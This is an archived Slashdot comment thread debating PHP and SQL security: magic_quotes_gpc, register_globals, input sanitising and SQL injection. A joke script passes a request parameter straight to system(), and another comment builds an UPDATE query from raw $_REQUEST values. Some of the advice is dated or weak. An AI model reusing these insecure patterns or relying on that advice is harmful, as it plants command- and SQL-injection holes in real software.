Slashdot Mirror


PHP and SQL Security

An anonymous reader writes "PHP and SQL Security are being proven more weak every day. Uberhacker.Com is running a PHP and SQL security research project to raise awareness of secure scripting. The site hosts guides to secure PHP programming, forums, and scripting challenges to see who can create the most secure scripts."

305 comments

  1. A bad workman blames his tools by dorward · · Score: 5, Insightful

    Looks more like "Scripts people write using PHP and SQL without understanding security issues are being proven more weak every day." to me.

    1. Re:A bad workman blames his tools by sv25 · · Score: 2, Insightful

      "Scripts people write using PHP and SQL without understanding security issues are being proven more weak every day."

      That is stating the obvious, but none the less - it must be said. Nealry every language/backend is a potential threat when developers who don't have an understanding or awareness of security start coding.

    2. Re:A bad workman blames his tools by quigonn · · Score: 5, Insightful

      Well, sometimes you can simply blame the tools. Or would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

      The same is valid for programming languages, with some it's just easier to shoot yourself in the foot when you make a mistake. One example are buffer overflows and C: it's so easy to mistakenly write code that produces one, while in other languages like Ada or Perl it's virtually impossible.

      The same goes for PHP and SQL, which is shown everyday on the usual mailing lists like Bugtraq or full-disclosure.

      --
      A monkey is doing the real work for me.
    3. Re:A bad workman blames his tools by ArsenneLupin · · Score: 3, Informative
      Well, sometimes you can simply blame the tools. Or would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

      Yes, of course. A good workman would never willingly use such a dangerous tool!

      That being said, as far as SQL security goes, PHP fares far better than its competitor, ASP.

      Indeed, by default, PHP comes with gpc_magic_quotes enabled, which prevents the more obvious SQL injection attacks. Of course, nothing is 100% foolproof, but we're nowhere near the sieve that ASP+Sequel Sewer is.

    4. Re:A bad workman blames his tools by chegosaurus · · Score: 1

      Absolutely. It's not PHP's fault it has a lot of clueless and/or lazy users.

      And it isn't PERL's fault that people use it to write utterly incomprehensible code. Or is it...?

    5. Re:A bad workman blames his tools by grub · · Score: 1


      Or would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

      I'd blame natural selection. What if his arm had titanium bones and kevlar skin which broke the blade? He'd pass on those mighty arm genes to his children and so forth. In a few generations we would have an army of super-carpenters, unafraid of smashing thumbnails or severing of limbs.

      What a wonderful world it would be.

      --
      Trolling is a art,
    6. Re:A bad workman blames his tools by dorward · · Score: 2, Insightful

      Would you blame the workman who cuts off his arm with the buzz saw's totally unprotected blade?

      I would if he ignored the instructions telling him to protect himself before using it after hearing the horror stories from the large collection of one armed men (watch out Dr Richard Kimble) in the building!

    7. Re:A bad workman blames his tools by Neil+Watson · · Score: 1

      If PHP installs by default with register_globals = off and developers turn them on can we really blame PHP?

    8. Re:A bad workman blames his tools by slamb · · Score: 3, Informative
      Indeed, by default, PHP comes with gpc_magic_quotes enabled, which prevents the more obvious SQL injection attacks. Of course, nothing is 100% foolproof, but we're nowhere near the sieve that ASP+Sequel Sewer is.

      No, no, no, no, no!

      magic_quotes_gpc is totally broken. For those unfamiliar, it escapes all HTTP GET and POST strings MySQL-style. But this is stupid. How you want your strings escaped (if you do at all!) depends on where you are sending them to, not where you are getting them from. Consider these things you might be doing with the strings:

      • using in a database statement (DML or query) with bind variables: no escaping. (This is the best way to use these in SQL!)
      • sending them out as character data in a HTML page: escape & to &amp;, escape < to &lt;, and (when in an attribute, harmless otherwise) escape " to &quot;
      • using in a MySQL or PostgreSQL literal: that way is actually correct
      • using in a MySQL or PostgreSQL identifier: that might also be correct? not sure. certainly " needs to be escaped, though.
      • using in a standard SQL literal: ' needs to be escaped to ''. \ should not be escaped.
      • using in a standard SQL identifier: " needs to be escaped to "". \ should not be escaped.

      PHP has a shiny red button that you never want to press. This is one of many reasons that I say PHP is a broken tool.

    9. Re:A bad workman blames his tools by Wakkow · · Score: 2, Funny
      *clears throat* .. I'd like to take a minute to talk about shop safety. Be sure to read, understand, and follow, all the safety rules that come with your powertools. Knowing how to use your power tools properly will greatly reduce the risk of personal injury. And remember this, there is no more important safety rule than to wear these.. safety glasses.



      I wonder if anyone else watches Norm that reads /.

    10. Re:A bad workman blames his tools by telbij · · Score: 1

      magic_quotes_gpc is totally broken. For those unfamiliar, it escapes all HTTP GET and POST strings MySQL-style. But this is stupid.

      No, you are missing the point. magic_quotes_gpc is a handy safe-guard for newbies, most of whom will be using MySQL. The downside is some errant slashes that may be annoying, but are far less dangerous.

      If you don't like it, THEN TURN IT OFF, but don't suggest that increasing PHP's out-of-the-box security for newbies makes the tool somehow 'broken'. This is hardly an inconvenience since PHP provides functions to do all the transformations you suggest in your list, and you can either turn off magic_quotes_gpc or just use stripslashes().

      If you wanna talk broken, why not raise PHP4's object and reference issues; there's at least a decent argument there.

    11. Re:A bad workman blames his tools by Tongo · · Score: 1

      LMAO, yea I used to watch Norm all the time. Never use a hand tool when you can use a power tool in its place.

    12. Re:A bad workman blames his tools by slamb · · Score: 2, Insightful
      No, you are missing the point. magic_quotes_gpc is a handy safe-guard for newbies, most of whom will be using MySQL. The downside is some errant slashes that may be annoying, but are far less dangerous.

      So you're saying it's a language feature aimed at helping newbies producing mediocre code.

      magic_quotes_gpc is dangerous, in that it confuses said newbies horribly about a critical issue. They may be producing mediocre code where they would have been producing bad code, but it will lengthen the time until they learn to produce good code. Or maybe prevent them from ever doing so!

      • When newbies see words like "magic quotes", they may think "okay, everything's quoted and safe". When it's not nearly so simple.
      • A feature intended to help people mix untrusted data into SQL statements suggests that it is a good practice to do so. It's not! It's much better to use bind variables.
      • It increases the operating modes a program executes in. Take a look at this bit from the get_magic_quotes_gpc section of the manual:
        if (!get_magic_quotes_gpc()) {
        $lastname = addslashes($_POST['lastname']);
        } else {
        $lastname = $_POST['lastname'];
        }
        They're promoting the idea of having the same program work in both modes. Do you think people extensively test both? It would be much better to say "loudly fail if your program is not run in the expected mode". Hell, they're not even doing this in a general function; they're proposing doing that for each variable reference! That's stupid! People will inevitably write code that works in one mode or the other. Seeing this pattern elsewhere in the code will falsely lead people to believe the entire thing works in both modes.
      • With this "safety" feature on, truly safe code would be much more complicated than without, and this is never stated in the manual. The correct way before was to "escape stuff in way X right as you use it in way X". Now it needs an addendum: "except if it's from a GET/POST string and it's to a MySQL or PostgreSQL database literal. and when you use GET/POST strings for anything else, strip off the slashes first." That's complicated enough that a newbie may never learn the correct way of doing things in any mode. They'll always think it is too complicated to really understand, always be tinkering, and always screw it up.
      • it makes people have some data floating around that should be treated quite differently depending on where they got it. If they get it from the database, it's not escaped in a similar way. Do you think they'll keep rigorously keep track of every string being passed around and state and follow a contract for how each function's arguments should be quoted? (And yes, there are valid reasons for getting something from the database and sending it right back.)

      By the way, you mentioned stripslashes. I'd argue that any use of stripslashes means that you've screwed up and escaped something badly. If something has slashes, it's intended to be parsed through a layer that mixes strings and some higher-level construct. So when you strip them out, either:

      • you're writing a parser that doesn't know the length of the string until it's done. It'll be appending to the string as it goes. stripslashes doesn't help.
      • you've got something escaped in the style to send it through a layer you actually aren't using. You're escaping something at the wrong place in your code. If you haven't already screwed it up and introduced a security problem, you soon will, because your function's contracts are too confusing.
    13. Re:A bad workman blames his tools by IntlHarvester · · Score: 1

      That being said, as far as SQL security goes, PHP fares far better than its competitor, ASP.

      ADO has Command and Parameter objects which automatically handle quoting issues, datatype checking, and prevents injection attacks almost entirely. [Of course, you need to use a SQL dialect which supports parameterization (not MySQL?).]

      Flaming ASP here is entirely inappropriate becuase it provides a real, non-hacky solution built-in and PHP does not.

      --
      Business. Numbers. Money. People. Computer World.
    14. Re:A bad workman blames his tools by Anonymous Coward · · Score: 0

      It is responsibilty of both parties to be safe in the name for tools. Defective equipment or defective design is as bad as the dumb user who doesn't know how to use it. As in the name for programming enviroments and programmers the programming enviroment must be well interfaced and built to consider all of the variables of hardware, operating system and other programming enviroments so that the programmers have the ability to control the variables as need (such as security). If the programming enviroment doesn't allow control over security then how does the programmer control it.

    15. Re:A bad workman blames his tools by gnu-generation-one · · Score: 1

      "No, no, no, no, no! magic_quotes_gpc is totally broken."

      Yep, and well done for saying it.

      What's worse is that each website provider has a different set of options (magic quotes, auto-register globals, etc) which means that your carefully sanitised data doesn't work at all when you switch providers.

      Sometimes it changes under your feet, as someone upgrades PHP on a server and of course, every version of PHP has different default options!

    16. Re:A bad workman blames his tools by SphericalCrusher · · Score: 1

      True, and that's not always their fault. Just because people don't watch out in their design process, making unsecure software, doesn't mean the language itself bad. Take for example -- C/C++ is not are not "insecure" languages, even though they were used to create what we have today as Windows. Look at what else it did -- Linux! Now tell me, was that more of the creator or the language itself?

      --
      "Instant gratification takes too long." - Carrie Fisher
    17. Re:A bad workman blames his tools by ngoy · · Score: 1

      Being inherently lazy and tired of recoding stuff when adding fields in SQL and ASP (and also because this is all internal stuff for my company and I don't have to worry about performance issues), many of my ASP pages use the following script to write the data after a form is submitted.

      For Each TheData in Request.Form
      if (left(TheData,3)="sql") AND (Request.Form(TheData).Item "") then
      FieldName = Right(TheData,(len(TheData)-3))
      rsEFSOs(FieldName) = Request.Form(TheData).Item
      Next

      so for every field in the html form that starts with "sql" it then assigns the value of the form field directly to the field value in the recordset. So if they do try sql injection, all it does is store the sql. Although I am sure there is a way around what I have done, it allows for people to put in quotes and all that other crap which would normally break a directly executed sql string (like Note fields where people type in it's and their's and the customer's).

      But don't use for outside facing websites and such. As you are exposing the field names in your table and whatnot. Or for any site that needs to write data more than 5 times per hour. :-P

      --
      --ngoy
    18. Re:A bad workman blames his tools by Billly+Gates · · Score: 1

      Many webdevelopers are not security experts.

      What if I want to write simple php program for my website? Am I going to do extensive research before I write a single line of code? Of course not.

      For a commercial or enteprise intranet site then yes.

      I am a hobbiest not a pro. We make up the majority of php developers.

    19. Re:A bad workman blames his tools by dorward · · Score: 1

      Do you blame the buzzsaw if a hobbiest cuts himself on it without RTFMing?

    20. Re:A bad workman blames his tools by Anonymous Coward · · Score: 0

      Buffer overflows in C are easily avoided in almost all situations. Techniques to accomplish this have been known for years. Many are unaware of them, or have misconceptions about them, and so decide not to use them.
      To compare this with power tools take table saws. Kickbacks injure many people every year. This is despite the availability of both accessories and knowledge that virtually eliminates the danger posed by kickbacks.
      The problem in both situations is education of and lack of knowledge on the part of the "workman". Switching to a different tool does not change this problem it just masks it.

    21. Re:A bad workman blames his tools by Anonymous Coward · · Score: 0

      Yes I watch it all the time, even tape it if I have to do something like work.

  2. Here come the jokes... by caluml · · Score: 0, Funny

    When the site falls over, cue the jokes about PHP and MySQL, from the battle-hardened Perl and Postgres veterans.

    1. Re:Here come the jokes... by tcopeland · · Score: 2, Funny
      When/if it does, here's the first challenge:
      PHP GAUNTLET CHALLENGE 1
      Challenge : Create Article Submition, Display, and Approval System
      Submitted by : April 10th, 2004 (Date may be changed, number of submitions pending)
      Requirements: See Below

      Welcome to the first of many PHP GAUNTLET CHALLEGES. The concept behind these challenges is to have a user create an article submition, display, and approval system. This system has to utilize an SQL database, have email functions, and be portable. When I say "portable" I mean that it should be easily transferable from different template desigins. A good example of an article submition system is the one at Slashdot.org.

      Specific Requirements:

      1. The PHP scripts must be universally executable, meaning, they should be able to be moved to any directory (structure intact) and work properly.
      2. The PHP scripts must have a include file called "connect.php", in this file, you should be able to specify the database server, passoword, and userid. An Example of this can be seen below :

      $dbuser = '';
      $dbpass = '';
      $dbhost = '';
      $dbdatabase = '';
      $db = mysql_connect("$dbhost");
      mysql_select_db("$dbdat abase",$db);

      3. The PHP script must be able to be included into an area of a page, allowing for ease of portability.
      4. Register Globals will be on.
      5. You will be given 1 database, and unlimited tables.
      6. The PHP script must have an article display, submition, and approval system.
      7. The submition system must work in conjunction with the approval system. Once something is submitted, it should be able to be emailed to the site webmaster, and then approved by a URL in the email.

      I know that most of this seems complicated, and very specific. However, I am attempting to make everything as such to give everyone a fair chance. If you wish to add any features, please do so. I will hopefully be submitting an example script for everyone to look off of soon.
    2. Re:Here come the jokes... by Igmuth · · Score: 1
      4. Register Globals will be on.


      And they claim they are trying to promote increased PHP security?
    3. Re:Here come the jokes... by Bitsy+Boffin · · Score: 1

      Frankly it sounds to me like they want a bunch of kiddie coders to go and write them this (near trivial I might add) article posting system which they will then happily use or sell wherever they want, having had it 'security tested' by the same bunch of kiddie coders.

      --
      NZ Electronics Enthusiasts: Check out my Trade Me Listings
    4. Re:Here come the jokes... by julesh · · Score: 1

      4. Register Globals will be on.

      And they claim they are trying to promote increased PHP security?


      Its a coding challenge with a security slant. This makes it harder. Seems sensible to me.

      As a PHP programmer, you have to learn to work with register globals both on & off, because you never know which way round your client's ISP will have it set. Essentially, this means programming without the convenience of having the globals registered, and with the possibility of them being a security problem. All in the name of compatibility...

    5. Re:Here come the jokes... by B3ryllium · · Score: 1

      register globals being on means that the shortcut ($variablename) works in addition the superglobal ($_SESSION['variablename']) ... which makes the script less secure.

    6. Re:Here come the jokes... by h3 · · Score: 1

      As a PHP programmer, you have to learn to work with register globals both on & off

      While I think I see where you're coming from (and I agree that turn it on for this challenge is an interesting twist), I don't know if this is necessarily the case in real life. In environments where register_globals is ON and I can't turn it off at the server level, I'll drop

      php_value register_globals Off
      in an .htaccess file. No htaccess? I suppose you can use
      ini_set('register_globals','Off')
      or something like that in your code though it seems unlikely to me that a hoster would be security-zealous enough to disable htaccess but turn PHP's register_globals on.

      -h3

    7. Re:Here come the jokes... by HD+Webdev · · Score: 1

      As a PHP programmer, you have to learn to work with register globals both on & off, because you never know which way round your client's ISP will have it set. Essentially, this means programming without the convenience of having the globals registered, and with the possibility of them being a security problem. All in the name of compatibility..

      It doesn't have to be tested with register globals on.

      Put instructions in the RTFM.txt that explain how to turn it on in a .htaccess file.

      If the web server administration has disallowed users to turn register globals off in an .htaccess file then web hosting company doesn't know much about security and can't be trusted as a host.

      --
      This is not a dream, not a dream...we are transmitting from the year 1-9-9-9.
    8. Re:Here come the jokes... by Sepodati · · Score: 1

      No, it means that poor programmers can easily make a less secure script. ---John Holmes...

    9. Re:Here come the jokes... by Sepodati · · Score: 1

      Just FYI, you can't use ini_set() to change the register_globals setting. ---John Holmes...

    10. Re:Here come the jokes... by soliptic · · Score: 1
      "Register Globals will be on" - wtf?

      they're trying to promote security-orientated php coding, and then explicity turning ON something which php has quite noisily just turned OFF in the default install, and currently depreciates, for security reasons!?!

    11. Re:Here come the jokes... by h3 · · Score: 1

      I thought it kinda odd about ini_set. This page describes the various variables PHP uses and where they can be set (my mistake not for not reading it properly).

      -h3

  3. No. by mfh · · Score: 5, Insightful

    PHP and MySQL are not weak; faux programmers are weak. Purification of incoming data is essential, and often ignored by novice script-writers, and that's the problem. SQL injections are common among novice coders, and they can slip past even competent coders, but a strict design engine for passing SQL vars using $_REQUEST, and turning off register_globals, will result in better results.

    Essentially, the problem is with those making insecure scripts, not the whole PHP and SQL system.

    --
    The dangers of knowledge trigger emotional distress in human beings.
    1. Re:No. by Shaklee39 · · Score: 1

      Why would you use $_REQUEST? That means you don't know if your variables are coming from POST or GET, so you decide to use a catchall to make it easier on yourself.

    2. Re:No. by Richthofen80 · · Score: 2, Insightful

      Seriously, I agree. Object oriented programming should prevent this, too. Develop object models then take the request variables and insert them into the objects before inserting them into SQL. Constructors should parse special characters that could lead to injection. Also, it is easier to implement business rules using OOP. Seriously, even interpreted languages do OO now, its time we all used them.

      --
      Reason, free market capitalism, and individualism
    3. Re:No. by leandrod · · Score: 5, Insightful
      > Object oriented programming should prevent this

      Security comes from simplicity, not complexity. And security should start at the DBMS level, not be left to applications.

      --
      Leandro Guimarães Faria Corcete DUTRA
      DA, DBA, SysAdmin, Data Modeller
      GNU Project, Debian GNU/Lin
    4. Re:No. by Anonymous Coward · · Score: 0

      It's not that you don't know, it's that you don't CARE. Either way, you're dealing with user input that should not be trusted, and should be processed appropriately.

    5. Re:No. by Sanity · · Score: 1
      PHP and MySQL are not weak; faux programmers are weak.
      "Nuclear weapons are not dangerous, people with nuckear weapons are dangerous".

      Regardless of where the ultimate blame lies, the simple reality is that languages which encouraging the mixing of data and code encourage security-threatening bugs. SQL is a nasty example of this, Perl regular expressions are another.

    6. Re:No. by Anonymous Coward · · Score: 4, Informative
      I regard myself as a fairly competent PHP programmer, and while I wouldn't be surprised if there are security holes in some of the stuff I've written, I've made every effort to stop them from happening.

      I've got a couple of rules I try to abide by - can anyone confirm if they're good programming practice? If they are, then they might prove useful to other people. :-)
      • Always check user input as much as is possible. Probably at least two-thirds of my programming is input data verification.
      • Always escape text which is going into an SQL query, or do an (integer )$number if it's supposed to be an integer. Do this in a very obvious place (eg when setting the $query string itself) so you don't forget. SQL injections are horrid. Test any functions which generate SQL until you're absolutely sure they aren't doing the wrong thing.
      • Use htmlspecialchars() on any text that's being output, to stop users putting rogue HTML, Javascript or anything into the output - even if it'll only end up in an error message or similar.
      • Put database usernames, passwords, pathnames and other similarly important but site-specific data in a define(), where once set it cannot be redefined.
      • Never include() or require() something that isn't a hard-coded string. Use readfile() or fpassthru() or similar if you need to output an HTML template or whatever.
      • Be hugely careful with any file operations. Don't use any user-supplied filenames, etc, unless they're thoroughly checked.
      • Initialise variables, and forcibly set the type of incoming data with an (integer ), (string ) or whatever.
      • Always use $_GET, $_POST etc to get submitted variables and not register_globals, and put anything that's not dealing with getting such data into a function - page_blah( (integer )$_GET['id'], text_unescape( $_GET['moo'] ) ); and so on, in a place neatly out of the scope of any register_globals crap.
      • Never rely on automatic escaping of input variables - I've got a bunch of functions for automatically unescaping arrays and strings which have been mangled by the magic_quotes_gpc rubbish. I'd switch the feature off, but hosts often have it switched on - and my functions check if it is and respond accordingly.
      • Be paranoid. Always assume the user is out to get you. If there's a function which does something restricted but is called by an apparently safe function, double-check the user's credentials.
    7. Re:No. by Lumpy · · Score: 4, Informative

      not only purification but treat all incoming data as hostile.

      every thing that comes from the user needs to be scrubbed, bleached, hammered and then finally used when you know it is 100% safe. and it must be used in a safe manner.

      what blows my mind is those that use the DB column name in a webform to be passed.. Oh nice. select from that drop down item_number and simply change it to start playing corrupt the database games.

      Nothing that is ever given to the user, or recieved from the user should be trusted... EVER. that is the first rule and needs to be pounded into everyone in every book about any programming language for the first 5 chapters.

      start there and you will heve very little security issues.

      --
      Do not look at laser with remaining good eye.
    8. Re:No. by mfh · · Score: 5, Informative
      > Always check user input as much as is possible. Probably at least two-thirds of my programming is input data verification.

      Good. You are off to the right start, but with better function programming, you will find yourself writing more feature code than purification code.

      Things to look for:
      • Push 99% of all expected/selectable data into tables with a record_id, so you can easily purify the incoming data:

        function npurify(&$text){
        if(!is_numeric($text)) $text = 1;
        }

        Protects against SELECT SQL injection attacks.

      • Snuff out > and < chars so that they can't contain the Script HTML tag when purifying data. Replacing these characters with their html entities usually works; ie:
        > becomes &gt;
        < becomes &lt;
      • Convert data in your database to base_64 and gzdeflate it:
        $data = base64_encode(gzdeflate($data));
        This will prevent the problems with escaping quotes and apostrophes for SQL, and it will kill any SQL injections in your data.
      • Use better logic for testing incoming data;
        if($this) {perform action}... will limit your chances of having to cope with scipt injections because you are only testing for the existence of a condition, and not the value of the data.
      • Run bitchecking against acceptable alphabets for purification of character values. Gauge to have good CPU usage of this sort of thing.

        // blanks out unaccepted characters
        $alphabet = '`ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv wxyz01234567890~!@#$%^&*()_+=-,.<>?/|;:\'"'.chr(92 ).chr(10);
        $sizestr = strlen($text);
        $sizestr--;
        for($i = 0; $i <= $sizestr; $i++) {
        if(strstr($alphabet, $text[$i])) {
        continue;
        }else{
        $text[$i] = ' ';
        }
        }

      • Code a good link converter, so you don't have to accept HTML in posts, and you don't need to accept any HTML.
      • There are likely more, but these are the big ones.

      > Always escape text which is going into an SQL query

      I prefer to write my own SQL text, based on input values. That way you are never using data submitted for the SQL query. The only time they would really submit values would be when they are sending in a username and password, but in that case, you should be extremely stringent in purification by only accepting alphanumeric usernames and passwords (ie: run the alphabet function above, but erase all non-alphanumeric chars from the $ALPHABET var).

      > Use htmlspecialchars() on any text that's being output, to stop users putting rogue HTML

      htmlspecialchars() doesn't always work. I prefer using the example above, by limiting the characters allowed and disallowing HTML in the form of post body/subject data. Converting everything to base64 will make it nearly impossible to script attack the database, too.

      > Put database usernames, passwords, pathnames and other similarly important but site-specific data in a define()

      I disagree, because I use the $_SESSION array instead, which can not be changed by a user if the session cookie is server-side. Sessions can be scooped by sniffers, but that can be managed by your host's security, to prevent it. Certainly change the locale for session data from /tmp/, because that narrows down hack attempts, making it all the more harder to compromise the system.

      > Never include() or require() something that isn't a hard-coded string

      To me, this isn't totally required if you have suitable purification, but that extra bit of paranoia is welcomed, because it shows true fear and that is acceptable in any kind of programming. That sort of humility is welcomed because it demonstrates a compassion for the task at hand.

      > Be hugely care

      --
      The dangers of knowledge trigger emotional distress in human beings.
    9. Re:No. by noda132 · · Score: 3, Insightful

      what blows my mind is those that use the DB column name in a webform to be passed.

      Along the same vein: I cannot count the number of scripts I've seen which use <select> tags and simply assume in the processing script that the only possible values are those which were given in <option> tags. Ditto for text inputs with a maxlength.

      It all stems from a complete ignorance of the specs, or a bunch of reading-between-the-lines which is utterly stupid. Nowhere in the HTML spec does it say that the page referenced in a form action will always be requested with valid input.

      The other thing which irritates me is how so many people assume using mysql_ functions is the best way to talk with a database. The PEAR project has had a fully-functional, object-oriented database package for years which handles escaping all by itself. It also makes INSERT/UPDATE queries much easier to write with its auto-queries.

      In my opinion, this is the tutorials' fault. But it's kind of the same with any language, I suppose: everybody learns C with the standard library and with fixed-length char[] arrays, without learning all the pitfalls (i.e., buffer overflows) and other libraries (i.e., glib) which work around them.

      Proper layering and abstraction should be a primary focus of any intro-to-programming class or tutorial.

    10. Re:No. by Frizzle+Fry · · Score: 4, Insightful
      Constructors should parse special characters that could lead to injection.

      No! No, no, no. You don't look for characters that "could lead to injection" and block (or escape) them, you look for input patterns that you know to be safe (ones that can't lead to injection) and only allow those. Trying to guess every possible input that can cause problems is not a good security practice. Please reread Writing Secure Code.
      --
      I'd rather be lucky than good.
    11. Re:No. by justMichael · · Score: 1
      Snuff out > and < chars so that they can't contain the Script HTML tag when purifying data. Replacing these characters with their html entities usually works; ie:
      > becomes &gt;
      < becomes &lt;

      I have found this one to be pretty reliable for completely nuking HTML, it is based on Larry Walls code and slashdots code:
      function cleanInput($in) {
      if ($in != '') {
      // strip out comments
      $in = preg_replace('/<!(.*?)(--.*?--\s*)+(.*?)>/', '', $in);

      // cleans up leftovers from nested comments
      $in = preg_replace('/-->/', '', $in);

      // strip out script tags
      $in = preg_replace('/<script[^>]*?>.*?<\/script>/' , '', $in);

      // strip out all tags
      $in = preg_replace('/<(?:[^>\'"]*|".*?"|\'.*?\')+>/', '', $in);

      // convert multiple newlines into a single newline
      $in = preg_replace('/[\r|\n]+/', "\n", $in);
      }

      return $in;
      }
      I'm sure somebody will find a problem with it ;)
    12. Re:No. by Anonymous Coward · · Score: 0
      Quick note - I'm the grandparent's Anonymous Coward. I've got a four-digit Slashdot account somewhere, but I forgot the password, and I no longer have the email address I registered with...

      > Push 99% of all expected/selectable data into tables with a record_id, so you can easily purify the incoming data

      I generally do that - I think the only times I don't are for things like string-based keyword searching and when I'm looking for specific bits of text (usernames, and so on). Then, strings always have a mysql_escape_string() done on them. A vaguely typical example:
      $query = "SELECT foo FROM ".DB_PREFIX."bar WHERE id = ".(integer )$id AND wibble = '".mysql_escape_string( $already_sanitised_for_length_etc )."'";
      I reckon if an SQL injection attack can get around that, there's something wrong with PHP. :-)

      > Convert data in your database to base_64 and gzdeflate it

      The stuff I've written is heavily reliant on keyword searching, so things have to be stored as raw strings. I do try to be consistent with how things are stored in both variables and in the database - strings are always raw text until turned into safe forms in the output, for instance. That way, I know I'm not doing an addslashes() twice (or not at all), or whatever.

      > htmlspecialchars() doesn't always work.

      It does if you do it on everything. :-)

      If it's a URL in a HREF, a value="" in a form, the title of a page, do an htmlspecialchars() on it. If it's text that gets output, and it isn't specifically HTML, then I do it. It seems to be working - I had a trawl through my code recently and found a couple of vulnerable places where I'd forgotten it, and now I'm extra careful... A side-benefit is that the W3C HTML Validator no longer whinges about '&' in URLs!

      > Run bitchecking against acceptable alphabets for purification of character values. Gauge to have good CPU usage of this sort of thing.

      If I had to do that, I'd probably use a regexp or similar. Unfortunately, my work has to cope with loads of languages from continental Europe, so 7-bit ASCII is out of the question. Plus, I've just discovered that with Poland et al joining the EU, ISO-8859-15 is no longer enough. UTF-8, here we come...

      > To me, the file system should never be displayed by the user. Instead push the files on your system into a table on the db and request it by the record_id.

      I've got something similar to that, although it stores the files as renamed versions ('uploaded_1082381294_99519' etc) which are pumped out with an fpassthru(), original filename and mimetype being stored in the database which is then closed, to save connections. When actually uploading a file, I've got a somewhat evil file(1)-inspired function which rigidly enforces filetypes. Plus the system puts up stern warnings if the user wants to download an uploaded Word document or similar.

      I've got all this stuff, and it's for some business and quasi-governmental sites which are password-protected and highly restricted. I really don't trust the users. ;-)
    13. Re:No. by eril · · Score: 1, Funny

      I sent my insecure scripts to counseling and they feel much better about themselves now.

    14. Re:No. by eril · · Score: 0

      This is not unique to OO; one can do the same in procedural programming. I do it all the time in my (non OO) PHP scripts. Just use regex to check the safety of the user's input.

    15. Re:No. by OzRoy · · Score: 1
      what blows my mind is those that use the DB column name in a webform to be passed.. Oh nice. select from that drop down item_number and simply change it to start playing corrupt the database games.

      I can only see that being a major problem if the programmer is using the form field name to get the field name for the sql statement.

      So $SQL = "UPDATE table SET field_name='{$_REQUEST['field_name']}' WHERE primary_key='{$_REQUEST['primary_key']}'"; Should be fine. Even if the hacker does start changing the form field names it won't change the SQL statement except making field_name=''

    16. Re:No. by Dozix007 · · Score: 1

      The Nature of the languages can be weak. One of PHP's most usefull and widley used features are register globals. I agree that sites would be more secure without them, however they are used. Therefore I will impliment them in the site so people can work with them. You can't lay oblivious to the world when making scripts, register_globals are very usefull.

    17. Re:No. by Beliskner · · Score: 1
      Essentially, the problem is with those making insecure scripts, not the whole PHP and SQL system
      I use VB for scripting and Micro$hit secures it for me automatically (crashes whenever users give funny inputs and I can then shout at the customers yeah!). Why should I switch to Linux/PHP/mySQL if I have to take time off or an expensive course to learn a whole new security paradigm, language and OS? If you want to make it hard for me to switch from VB to PHP/mySQL/Linux then that's your decision.

      You're killing Linux

      --
      A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
  4. Ease of introduction by holzp · · Score: 5, Insightful

    I think a lot of the blame for this can be traced to the ease of getting started with PHP/MySQL. Result: more people learning how to program with php will of course result in less thought about security. Add the ability to have input arguments via the http request be automagically available to the running code shares a lot of the blame too. Put them togeather and thats a disaster.

    1. Re:Ease of introduction by TekZen · · Score: 2, Insightful

      Good point.
      PHP/MySQL will be considered secure once XAML and Avalon are released to the world. That will be the new "insecure platform" on slashdot. Not be cause PHP is inherently insecure now and XAML and Avalon will be more insecure, but rather because PHP is the easiest entry into programming and XAML will lower the bar.
      -Jackson

    2. Re:Ease of introduction by johnkoer · · Score: 1

      I have to agree with you on this. I have run into a few systems that were running ASP and a SQL based database in the background that had absolutely no user input validation. I put one on my machine and was able to drop tables and hack my way in in about 10-15 minutes. This system was running at version 2.1 and noone had caught this up until that point. I reported it to the developers, but they didn't seem to keen on actually fixing the problem. Then again if you call the company you realize the VP is the one who was walking you through their phone system.

    3. Re:Ease of introduction by bonch · · Score: 1

      It's just like with Windows. But then people don't blame the admin in those instances.

    4. Re:Ease of introduction by Crizp · · Score: 1

      Good point, and what I think is the major reason for insecure PHP code is that many PHP users come from the Windows world.

      An average Windows user has no concept of filesystem / application security (as far as I have observed), and are generally less interested in reading lots of docs. People who start coding PHP with prior Linux experience I think are much more concerned with how to limit users from fucking up the server with malicious form/url input. They've already read lots of information just by learning Linux. If not, how can they have missed it, with all the documentation one has to read when learning Linux from scratch you're bound to come over lots of security info and docs.

      I'm coding my first big PHP website system now and take great care in limiting valid user input - because I've read so much about what can be done if you're not careful. Thanks, Linux :)

    5. Re:Ease of introduction by cayenne8 · · Score: 1
      Well, and some blame can come from age. In computer classes I took in mid-80's, they really didn't get too much into security as far as programming went....

      Sometimes it is hard to overcome those old habits and think with the mindset of suspicion when coding today...

      --
      Light travels faster than sound. This is why some people appear bright until you hear them speak.........
  5. "more weak"? by Junks+Jerzey · · Score: 5, Funny

    How about "weaker" :P

    1. Re:"more weak"? by Anonymous Coward · · Score: 0, Insightful

      Writing on Slashdot seems to getting more worser every day!

    2. Re:"more weak"? by FuzzyShrimp · · Score: 1

      Correction: Writing on Slashdot seems to be getting more worser "ever" day.

    3. Re:"more weak"? by Tongo · · Score: 1

      Me fail enlish. That's unpossible!

      someone had to say it....

  6. Should I submit this one? by blcamp · · Score: 5, Funny

    This one is pretty secure...

    <?php

    // Try to break into this script!
    echo "Hello World!";

    ?>

    --
    The problem with socialism is that they always run out of other people's money. - Margaret Thatcher
    1. Re:Should I submit this one? by Enrico+Pulatzo · · Score: 0, Redundant

      I bet you spent an extra amount of time rechecking syntax before posting, just to keep yourself free of typo-nazis, didn't you?

      Maybe that's just what I would do...

    2. Re:Should I submit this one? by megarich · · Score: 0

      Haha. With all the security flaws going on I've been joking around with my friends saying that the "Hello World" program can cause a denial of service attack..

    3. Re:Should I submit this one? by horza · · Score: 4, Funny

      You sound like a security expert. I'm told one of my scripts might be insecure, do you think you could tighten up the following:

      <a href="$PHP_SELF?command=date">Click here to see the date</a>
      <?php // Try to break into this script!
      if ($command) echo system($command);
      ?>

      Thanks,

      Phillip.

    4. Re:Should I submit this one? by Phidoux · · Score: 1

      Please supply a flow diagram so we can understand what your script does!

    5. Re:Should I submit this one? by dtperik · · Score: 1

      Wow. That was pretty impressive. I went ahead and put it up at my site. No matter how I click the link, I always get the date. Seems pretty solid to me. Maybe someone else can try to find a problem. Just go to http://mysite.net/getDate.php


      ;-)

    6. Re:Should I submit this one? by panda · · Score: 0

      That's trivial to break. You don't validate the command being run.

